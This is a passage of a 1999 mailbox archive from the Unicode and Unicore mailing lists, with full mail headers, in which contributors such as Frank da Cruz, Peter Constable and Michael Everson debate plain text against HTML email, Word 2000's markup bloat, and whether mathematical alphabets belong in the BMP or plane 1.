crutch for brain-damaged implementations that cannot handle anything > complex. It rules out support for all of the complex scripts of the world. > Meaning Indic, Arabic, etc... Of course this is true, and yet Level 1 exists and developers will use it. We have in UTF-8 a vigorous attempt to embrace the ""legacy"" terminal/host world and existing applications to promote easy migration from ASCII to Unicode (and somewhat less easy from 8-bit character sets). But these very platforms are accessed in a simple and open manner which does not mesh well with complex scripts. We might wish to wipe away the legacy of fifty years of computing and start over (in more ways than one!) but I fear there will never be a replacement for the simple and open terminal/host access method that will support complex scripts and still be as open and vendor-neutral as the terminal/host model. We are suffering already from the lack of open (e.g. Telnet) access to Macintosh and Windows platforms. I'm not saying I know what to do, only that ""throw away your medieval tools and enter the modern age"" is as likely to result in a new Tower of Babel as it is to promote universal communication. But this time the Babel is not in character sets but in the profusion of ever-changing and incompatible vendor- and application-specific protocols and data formats. Perhaps it's all a tempest in a teapot. For some time to come we will have all possible combinations of ""legacy"" and Unicode-aware hosts and clients, and we have to allow for each combination. Different problems will come up in each configuation, and we'll see how to deal with them. My hope is that it will not be by inventing a neverending stream of Three-Letter Acronyms to ""comply"" with, on top of Unicode itself, just to get text from point A to point B. If you thought you hated ISO 2022, just think of the standards nightmare that will grow out of that! - Frank 30-Sep-99 15:24:27-GMT,2366;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA18471 for ; Thu, 30 Sep 1999 11:24:26 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA03290 for ; Thu, 30 Sep 1999 11:24:25 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id IAA59704 ; Thu, 30 Sep 1999 08:20:30 -0700 Received: (from agent@localhost) by unicode.org (8.9.3/8.9.3) id IAA28518; Thu, 30 Sep 1999 08:17:53 -0700 (PDT) Message-Id: <199909301517.IAA28518@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 9977 (1999-09-30 15:17:17 GMT) From: Frank da Cruz To: ""Unicode List"" Cc: unicode@unicode.org Date: Thu, 30 Sep 1999 08:17:12 -0700 (PDT) Subject: RE: A basic question on encoding Latin characters Karlsson Kent - keka wrote: > Frank wrote: > > or word processor (etc), is the fixed-width aspect. I can send you > > email (as I am doing now, with my medieval text-based email client) > > with every expectation that it will look the same to you as it does > > to me, even if it includes tables, source code, or anything else > > For heavens sake don't assume that! My default view of emails is via > a proportional font. And so it is for many others too. And even if > I do something to view a message via a ""fixed width"" font, the tab > positions are not where you had them. And I'm not too inclined to > fiddle with the tab positions, unless it is a VERY important e-mail. > This is a topic that was discussed at great length in May-July 1997 and then again in July-August 1999. The upshot is, I need to write a draft Unicode technical report to clarify what is meant by ""plain text"", and to propose guidelines for vendor- and application-independent self-contained preformatted Unicode plain text that can endure into the distant future and remain useful even as fads and fancies change. Anybody who would like to review the discussion so far should be able to find it in the Unicode mail archive: ftp://ftp.unicode.org/Public/MailArchive/ - Frank 20-Oct-99 5:06:39-GMT,1826;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id BAA04268 for ; Wed, 20 Oct 1999 01:06:38 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id BAA00311 for ; Wed, 20 Oct 1999 01:06:37 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id WAA54072 ; Tue, 19 Oct 1999 22:01:56 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id VAA05826; Tue, 19 Oct 1999 21:55:58 -0700 (PDT) Message-Id: <199910200455.VAA05826@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline X-UML-Sequence: 10336 (1999-10-20 04:55:46 GMT) From: Doug Ewell To: ""Unicode List"" Date: Tue, 19 Oct 1999 21:55:45 -0700 (PDT) Subject: Re: verification: RE: LATIN CAPITAL LETTER REVERSED K? Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mailhub2.cc.columbia.edu id BAA04268 Gregg Reynolds wrote: > In a semi-serious vein: wouldn't box-score notation be a suitable > candidate for encoding? It's pretty standard, has a specific syntax, > and is spoken by millions. It's definitely a higher-level protocol. It's just like music notation: two-dimensional layout, uses symbols not otherwise found in plain text, and relies heavily on the relative positioning of these symbols. A computer encoding of baseball scoring notation would be cool, but it's not within the scope of Unicode. -Doug Ewell Placentia, California 20-Oct-99 7:36:40-GMT,3589;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id DAA25352 for ; Wed, 20 Oct 1999 03:36:40 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id DAA13489 for ; Wed, 20 Oct 1999 03:36:39 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id AAA21852 ; Wed, 20 Oct 1999 00:34:37 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id AAA06303; Wed, 20 Oct 1999 00:32:05 -0700 (PDT) Message-Id: <199910200732.AAA06303@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-UML-Sequence: 3934 (1999-10-20 07:31:27 GMT) From: peter_constable@sil.org Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 00:31:25 -0700 (PDT) Subject: Re: Regarding the proposal for Mathmatical alphabets Content-Transfer-Encoding: 7bit >>Unicode does not, and has never maintained that with no other external >information all text is or should be legible. >Really? What is plain text then? It is a fallacy to think that plain text *by itself* is ever fully semantically specified. If you receive a plain text document that consists of I seem to be having problems with my lifestyle. You might assume you know what the intended meaning is, i.e. that it is an English sentence, but you may be wrong. E.g., it could be a curse in the Blahurg language. The likelihood is that you'll be safe with your assumption in this case, but the possibility does exist that you'll be wrong. This is a rather contrived example, but it need not be: chat What is the meaning of this text? Is it the English word with a meaning related to 'discuss', is it a French word with the meaning 'cat', or is it something else? Plain text is defined, essentially, as a string of unadorned, abstract characters. There is nothing in the definition of plain text that says anything about the interpretation of the text being unambiguous. In the general case, plain text requires several items of additional information in order for it to be correctly interpreted, including at least the following: - encoding - character set - language You might say that the presence of xFE xFF in the first two bytes is sufficient to identify the encoding and character set, but it is not strictly sufficient. It's possible that this is a non-text binary file that happened to start with these two bytes. Likewise, language cannot in *any* case be determined from plain text with *100%* certainty. Now, it may be that in a lot of situations, one can in practice manage to correctly determine the intended interpretation of plain text without this additional information; e.g. if you get a file from a colleague, they probably don't have to identify this information for you explicitly for you to know what they're meaning to convey in the plain text file. But as a general principle, Ken's point is entirely correct. Peter 20-Oct-99 8:10:51-GMT,5781;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id EAA02003 for ; Wed, 20 Oct 1999 04:10:50 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id EAA15340 for ; Wed, 20 Oct 1999 04:10:50 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id BAA34392 ; Wed, 20 Oct 1999 01:08:16 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id BAA06466; Wed, 20 Oct 1999 01:05:47 -0700 (PDT) Message-Id: <199910200805.BAA06466@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-UML-Sequence: 3935 (1999-10-20 08:05:18 GMT) From: peter_constable@sil.org Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 01:05:17 -0700 (PDT) Subject: Re: Mathematical alphabets Content-Transfer-Encoding: 7bit >THEREFORE, I propose that all such math symbols be encoded in the BMP, not in plane 1, even if it is necessary to split them between blocks to squeeze them in. Can we find 2000-odd code points in BMP? Math symbols are *too important* to be relegated to plane 1. They are more important than CJKV extensions (only about 5000 han characters are in common use), and more important than the scripts mentioned above and more important than Mongolian or Tibetan. [I am not advocating removal of these scripts or han characters.] All of expanding human knowledge is developed by writing and discussing scientific papers, and this is done internationally, and as more discoveries are made, it is urgent and necessary to encode these papers in a manner in which they can be indexed, accessed, and read on computer. >Do you know what a mess it would be to have to sign every math symbol character as a surrogate? Surrogates are OK for an occasional character, but not for numerous equations. That would significantly bloat text files of scientific papers with mathematical content. And think of what it would do towards the goal of putting mathematical texts on the Internet. Math symbols in the BMP? Please, no. I don't disagree that Math is important. (Having a B. Math degree, I'm also certainly a fan.) I'm just more concerned for living scripts that might be bumped as a result. The scripts you mentioned may not be important to a lot of people, but they're extremely important to those who use them. (By the way, just wanted to clarify that Thaana and Runic are *not at all* in the same category: Thaana is very much a living script: phone books, newspapers, etc.) And there are more like them that really should go into the precious few spots remaining in the BMP. Why these in the BMP rather than math? - Math requires specialized software to handle it regardless of where it's located. If the software is only interpreting the semantics of a math string, the fact that plane 1 characters or surrogates pairs are involved is not a problem. If the software is presenting math strings, then it needs specialised code for layout of formulas anyway, so it isn't a huge burden to add the need to handle plane 1 characters. (The developers/user community in question appear to already be in agreement to using plane 1.) - Other living scripts that are potential candidates for the BMP do not require specialized software; in general, it should be possible to work with these scripts using *any* app that is designed to support BMP text, including your favourite simple, Unicode-enabled, plain text editor. Putting a living script into plane 1 introduces the likelihood that that script will be place at a significant disadvantage for some time since it can't be used by *any* Unicode-enabled tool, but must be used with a smaller set of software. This will have a far worse impact on those language communities affected than would the math community be affected by putting the math stuff in plane 1. As for text size, this is really a non-issue. In terms of storage, there is no real concern (I doubt anybody has a database with millions of records of math formulas), and in terms of transmission, it is very likely that the majority of text in a file containing math symbols will be prose text and not math formulas. The impact on the size of the math stings will likely be minimal. As for putting mathematical texts on the internet, the use of surrogates shouldn't be an issue; at least, any current concerns will be temporary limitations only. Eventually, browsers will all be able to handle surrogates, proably sooner than later. (In a browser, the main concern is the ability to render. An extension to the TrueType spec has already been made to allow for rendering of surrogates. I'll be somewhat surprised if the next version of IE doesn't have the ability to render surrogates.) If we could fit math on the BMP without any risk to living scripts for spoken languages, I'd be entirely for it. I'm not sure that's a safe assumption at this point, however. Peter 20-Oct-99 12:02:00-GMT,7395;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA04424 for ; Wed, 20 Oct 1999 08:01:57 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id IAA03464 for ; Wed, 20 Oct 1999 08:01:56 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id EAA41754 ; Wed, 20 Oct 1999 04:59:44 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id EAA07168; Wed, 20 Oct 1999 04:57:09 -0700 (PDT) Message-Id: <199910201157.EAA07168@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-UML-Sequence: 3942 (1999-10-20 11:56:40 GMT) From: Michael Everson Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 04:56:39 -0700 (PDT) Subject: RE: I give up - Ballot document L2/99-330 is now plain text Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mailhub3.cc.columbia.edu id IAA04424 Ar 11:01 -0700 1999-10-19, scr�obh Michel Suignard: >Michael, thanks as usual for your constructive comments. You're welcome. I am always happy to be of service. >The XML crap as you name it is there to provide round trip capability >for the product that created the document (Word 2000). Oh, what a good idea. Never mind the rest of us, who don't have that particular product, eh? You know, if Microsoft didn't ship stuff that screws up everything for others, I would be happy to sing its praises. I would love to be able to say ""This is a really good thing, enhancing interoperability for everyone"". Instead, every time Microsoft comes out with a new product or document format it seems like it chokes everyone who ""lags behind"" the ""cutting edge"". If you think this isn't true, try using a nice reliable platform with trusty software and then live in a world where people are (regularly) forced to (pay money to upgrade) to the cutting edge just to _read_ a simple document. >I inspected the source and I saw that it >was created to be read by IE4 and up level (that includes Netscape 4.x >version as well). It crashed Netscape 4.05 for the Macintosh, which I am using and have been using for some time. >I tried on both IE5 and Netscape 4.61 and both read the >info fine. If a document has to be read by down level browsers it is a good >idea to generate it with a lower level (like the version 3 of the browsers). >Doing this is an option offered by Word 2000. ""Down level browsers""? That's rather arrogant. There was nothing wrong with my browser, until suddenly Microsoft's new product started spouting all kinds of junk into HTML documents which those browsers (which use standard HTML) were not designed to read. I am sure that Arnold, expert user as he is, will be comforted to know that he can produce documents formatted in a way acceptable to most of us. >If I could get in which context the problems occured (which browser and >version numbers) maybe we can look at it, as stated today there isn't much I >can do. Netscape 4.05 for the Macintosh. And apparently other people had problems as well. >Also, there is a downloadble tool in the microsoft web site that will save >Michael some time as it does already what he wants to do. It is at: >http://officeupdate.microsoft.com/2000/downloadDetails/Msohtmf2.htm >Basically the tools strip out all the information that is not used by the >browsers. I will look at this site, and am curious to know whether it supplies a Macintosh version. However, here is the logic. Arnold sends out a document. I don't know what it is about. I look at it. It crashes Netscape. I fire up this new tool to strip out the crap from it. Finally I can read the document and find out (as I have in this case) that it is irrelevant to me. What a colossal time-waster. >Finally the 'mso-bidi-font-family:Arial' property (not Ariel as mentioned by >Michael) ... I was always satisfied with ""Helvetica"" but note in passing that Ariel is a character in Shakespeare's Tempest. I didn't realize that ""Arial"" was something else. >... is there to indicate to use Arial for Bidi text in the context >used by the document author (ignored by browsers). This is the mechanism >used by Word to create font associations. The Arial font in its recent >updates support Bidi text, so I don't see what is unbelievable on that >syntax. The more you overtick the plumbing, the easier it is to stop up the drain. Here, dear colleagues, is an analysis of what Word 2000 is doing in this instance. Statistics are taken from ClarisWorks' word-count feature. Plain text HTML Crap ratio Number of characters: 1279 19772 6% content, 94% crap Number of words: 192 1085 18% content, 82% crap Number of lines: 53 636 8% content, 92% crap Number of paragraphs: 48 572 17% content, 83% crap Number of pages: 2 15 13% content, 87% crap In order to be fair to Word 2000, and considering for the sake of argument _all_ markup to be crap, I set Arnold's document as an ordinary HTML document with PageSpinner in the way I normally do. Compare the results with the above. Plain text HTML Crap ratio Number of characters: 1279 1667 77% content, 23% crap Number of words: 192 217 88% content, 18% crap Number of lines: 53 75 71% content, 29% crap Number of paragraphs: 48 67 72% content, 28% crap Number of pages: 2 2 100% content, 0% crap Gosh, Word 2000 does seem to add an awful lot of crap. Consider some mere mortals like my mother and my brother, as opposed to us highly-motivated experts. If we have these problems, what hope have the teeming millions? The ""unbelievability"" of Arial being described as ""mso-bidi-font-family:Arial"" is an indication of the total waste to be incurred on my poor mother's hard disk, on the bandwidth carrying the message, and on my poor brother's hard disk, when all that my mother was trying to send was a 192-word message about visiting at Christmas. What is unbelievability is the crudeness of the hack. This 26-character string ""mso-bidi-font-family:Arial"" is repeated _45_ times in Arnold's document! That's 1170 characters, a mere 6% of the 94% of the crap in that document. And bidirectionality is totally irrelevant to my mother and my brother, isn't it? It took me about an hour and a half to deal with this situation including writing this e-mail. I'm of a mind to send this to the Unicode list, but I suppose I won't. Am I Microsoft bashing? I don't think I am. I think they've done something they should quickly undo, and with an apology besides. -- Michael Everson * Everson Gunn Teoranta * http://www.indigo.ie/egt 15 Port Chaeimhghein �ochtarach; Baile �tha Cliath 2; �ire/Ireland Guth�n: +353 1 478 2597 ** Facsa: +353 1 478 2597 (by arrangement) 27 P�irc an Fh�ithlinn; Baile an Bh�thair; Co. �tha Cliath; �ire 20-Oct-99 13:13:47-GMT,1371;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA16826 for ; Wed, 20 Oct 1999 09:13:40 -0400 (EDT) Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id JAA10333; Wed, 20 Oct 1999 09:12:18 -0400 (EDT) Date: Wed, 20 Oct 99 9:12:18 EDT From: Frank da Cruz To: unicore@unicode.org Subject: RE: Regarding the proposal for Mathmatical alphabets In-Reply-To: Your message of Tue, 19 Oct 1999 19:45:34 -0700 (PDT) Message-ID: > Perhaps this is a legacy of too much emphasis on legibility of plain text. > The world has progessed. HTML mail really is better than plain text mail. > Yes, there are systems and mail handlers that can't cope but if you keep > singing the plain text mantra they will never cope and the users are the > losers. > So you think plain text should be replaced by HTML? And then all the software on earth should be changed to be ""HTML-compliant""? Which HTML? How often must all the software in the world be changed to keep up with it? What happens when HTML itself is overtaken by some new buzzword? Plain text has value. It's like air or water. Take it away and you'll see. - Frank 20-Oct-99 13:15:37-GMT,1804;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA03029 for ; Wed, 20 Oct 1999 09:15:36 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id JAA10982 for ; Wed, 20 Oct 1999 09:15:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id GAA23588 ; Wed, 20 Oct 1999 06:13:45 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id GAA07511; Wed, 20 Oct 1999 06:11:04 -0700 (PDT) Message-Id: <199910201311.GAA07511@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 3947 (1999-10-20 13:10:25 GMT) From: Frank da Cruz Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 06:10:23 -0700 (PDT) Subject: RE: Regarding the proposal for Mathmatical alphabets > Perhaps this is a legacy of too much emphasis on legibility of plain text. > The world has progessed. HTML mail really is better than plain text mail. > Yes, there are systems and mail handlers that can't cope but if you keep > singing the plain text mantra they will never cope and the users are the > losers. > So you think plain text should be replaced by HTML? And then all the software on earth should be changed to be ""HTML-compliant""? Which HTML? How often must all the software in the world be changed to keep up with it? What happens when HTML itself is overtaken by some new buzzword? Plain text has value. It's like air or water. Take it away and you'll see. - Frank 20-Oct-99 13:44:47-GMT,2016;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA07848 for ; Wed, 20 Oct 1999 09:44:46 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id JAA18257 for ; Wed, 20 Oct 1999 09:44:44 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id GAA27356 ; Wed, 20 Oct 1999 06:43:04 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id GAA07651; Wed, 20 Oct 1999 06:40:12 -0700 (PDT) Message-Id: <199910201340.GAA07651@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-UML-Sequence: 3949 (1999-10-20 13:39:41 GMT) From: ""Walt Daniels"" Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 06:39:40 -0700 (PDT) Subject: RE: Regarding the proposal for Mathmatical alphabets Content-Transfer-Encoding: 7bit >>HTML mail really is better than plain text mail. >Why? Just to take a simple example, italic and bold carry important distinctions which make meaning clearer. Both are missing from plain text email unless you consider ***bold*** to be a substitute. Or more importantly to me HTML mail reformats paragraphs to fit the available screen width. Most mail programs just wrap plain text in stupid ways or force you to scroll horizontally. I think I can read HTML mail at least 50% faster. Don't forget that we got at least that much speedup of reading when most people finally gave up all uppercase plain text mail. I don't have any proof but I think I understand written material better if I can read it as fast as I think without being slowed down for some artificial reason. 20-Oct-99 14:24:48-GMT,2642;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id KAA01992 for ; Wed, 20 Oct 1999 10:24:45 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA26170 for ; Wed, 20 Oct 1999 10:24:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id HAA27546 ; Wed, 20 Oct 1999 07:23:10 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id HAA07808; Wed, 20 Oct 1999 07:20:26 -0700 (PDT) Message-Id: <199910201420.HAA07808@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-UML-Sequence: 3952 (1999-10-20 14:19:57 GMT) From: Mark Leisher Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 07:19:55 -0700 (PDT) Subject: Plain text vs. rich text [was RE: Regarding ....] Content-Transfer-Encoding: 7bit Walt> Perhaps this is a legacy of too much emphasis on legibility of plain Walt> text. The world has progessed. HTML mail really is better than Walt> plain text mail. Yes, there are systems and mail handlers that Walt> can't cope but if you keep singing the plain text mantra they will Walt> never cope and the users are the losers. You've got to be kidding! Of the thousands of web sites I have browsed, I can count the number I find legible on one hand. It is so bad now that I don't even bother reading web pages; I just look for URL's. And don't blame the systems and mail handlers for not dealing with markup because most of them do so in one way or another. The point is that those of us working in plain text are doing so by choice, not necessity. And why do we choose plain text? In my case, I find that text with markup noticeably slows my reading speed and comprehension. In short, if the text isn't ""designed"" well enough, I can't read it and usually just delete it. ----------------------------------------------------------------------------- Mark Leisher Computing Research Lab The first virtue is to restrain the tongue; New Mexico State University he approaches nearest to the gods who knows Box 30001, Dept. 3CRL how to be silent, even though he is in the Las Cruces, NM 88003 right. -- Cato the Younger (95-46 B.C.E) 20-Oct-99 17:36:39-GMT,2126;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA07494 for ; Wed, 20 Oct 1999 13:36:39 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id NAA14786 for ; Wed, 20 Oct 1999 13:36:38 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id KAA41418 ; Wed, 20 Oct 1999 10:33:48 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id KAA09331; Wed, 20 Oct 1999 10:31:22 -0700 (PDT) Message-Id: <199910201731.KAA09331@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-UML-Sequence: 3966 (1999-10-20 17:30:26 GMT) From: Mark Leisher Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 10:30:24 -0700 (PDT) Subject: Re: Plain text vs. rich text [was RE: Regarding ....] Content-Transfer-Encoding: 7bit Michael> I can't quite tell why you aren't using some kind of browser that Michael> can read HTML, Mark. That's different from HTML e-mail, though. I am one of those people who find most of the ""rich text"" out there in presentation form too distracting to really be useful. Call it ""attention deficit disorder,"" ""aesthetic elitism,"" ""Luddism,"" or whatever, I just find the majority of documents on the web as seen through a browser unpalatable to the point of being unreadable. ----------------------------------------------------------------------------- Mark Leisher Computing Research Lab The first virtue is to restrain the tongue; New Mexico State University he approaches nearest to the gods who knows Box 30001, Dept. 3CRL how to be silent, even though he is in the Las Cruces, NM 88003 right. -- Cato the Younger (95-46 B.C.E) 20-Oct-99 18:09:07-GMT,2689;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA15595 for ; Wed, 20 Oct 1999 14:09:04 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA21864 for ; Wed, 20 Oct 1999 14:09:03 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id LAA32464 ; Wed, 20 Oct 1999 11:05:57 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id LAA09613; Wed, 20 Oct 1999 11:03:26 -0700 (PDT) Message-Id: <199910201803.LAA09613@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 3972 (1999-10-20 18:02:49 GMT) From: Frank da Cruz Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 11:02:44 -0700 (PDT) Subject: Re: I give up - Ballot document L2/99-330 is now plain text > Not that this view will be listened to by anyone. But I don't think > it's an unreasonable view. > I agree with it wholeheartedly and greatly enjoyed your rant. I appreciate it especially because I use a plain-text non-MIME email client, so when people send *me* html, I see html. When they send me anything encoded in base64, I see base64. Now I can understand why they might want do this for pictures or a sound clip, but for a few lines of text??? Why would I use a plain-text, non-MIME email client in this day and age? Because it does everything I want it to, it's stable, it doesn't infect my my computer with viruses, and I have the source code and can fix it if I have to. And because I'm a fast touch-typer -- in the time it takes me to reach for the mouse and hunt for some tiny widget to click on, I can whiz through 20 email messages, deleting the 15 of them that are junk-mail (which, by the way, is almost always filled with Michael's famous ""crap"" :-) With email, I have the same feeling about plain text as I do about handwriting in postal mail. If a hand-addressed letter arrives, it gets top priority. If a glossy multicolored item with glaring headlines arrives, it goes directly into the trash. I think the Universal Character Set is best understood -- and in fact should ONLY be understood -- with reference to plain text. Of course it CAN be used in all kinds of GUI Web browsers, office suites, etc, but it must not depend on notions that only apply to GUIs, because all such notions are ephemeral. Plain text is forever. - Frank 20-Oct-99 19:10:06-GMT,1472;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA23222 for ; Wed, 20 Oct 1999 15:10:05 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA06834 for ; Wed, 20 Oct 1999 15:10:04 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id MAA38140 ; Wed, 20 Oct 1999 12:07:07 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id MAA09931; Wed, 20 Oct 1999 12:04:18 -0700 (PDT) Message-Id: <199910201904.MAA09931@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 3978 (1999-10-20 19:03:43 GMT) From: Rick McGowan Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 12:03:41 -0700 (PDT) Subject: Re: I give up - Ballot document L2/99-330 is now plain text Frank said... > all such notions are ephemeral. > Plain text is forever. Hmmm. Speaking stylistically, ""ephemeral"" has too many syllables to be good poetry. If you're going to make a hummable tune for the refrain, try: All such notions be conceit, but Plain Text is for-e-ver... Kind of an ""Ein feste Burg"" for the Unicodification Church... Rick 20-Oct-99 19:35:47-GMT,2097;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA12066 for ; Wed, 20 Oct 1999 15:35:46 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA14032 for ; Wed, 20 Oct 1999 15:35:45 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id MAA47028 ; Wed, 20 Oct 1999 12:33:22 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id MAA10118; Wed, 20 Oct 1999 12:30:44 -0700 (PDT) Message-Id: <199910201930.MAA10118@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 3981 (1999-10-20 19:30:12 GMT) From: kenw@sybase.com (Kenneth Whistler) Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Cc: kenw@sybase.com Date: Wed, 20 Oct 1999 12:30:10 -0700 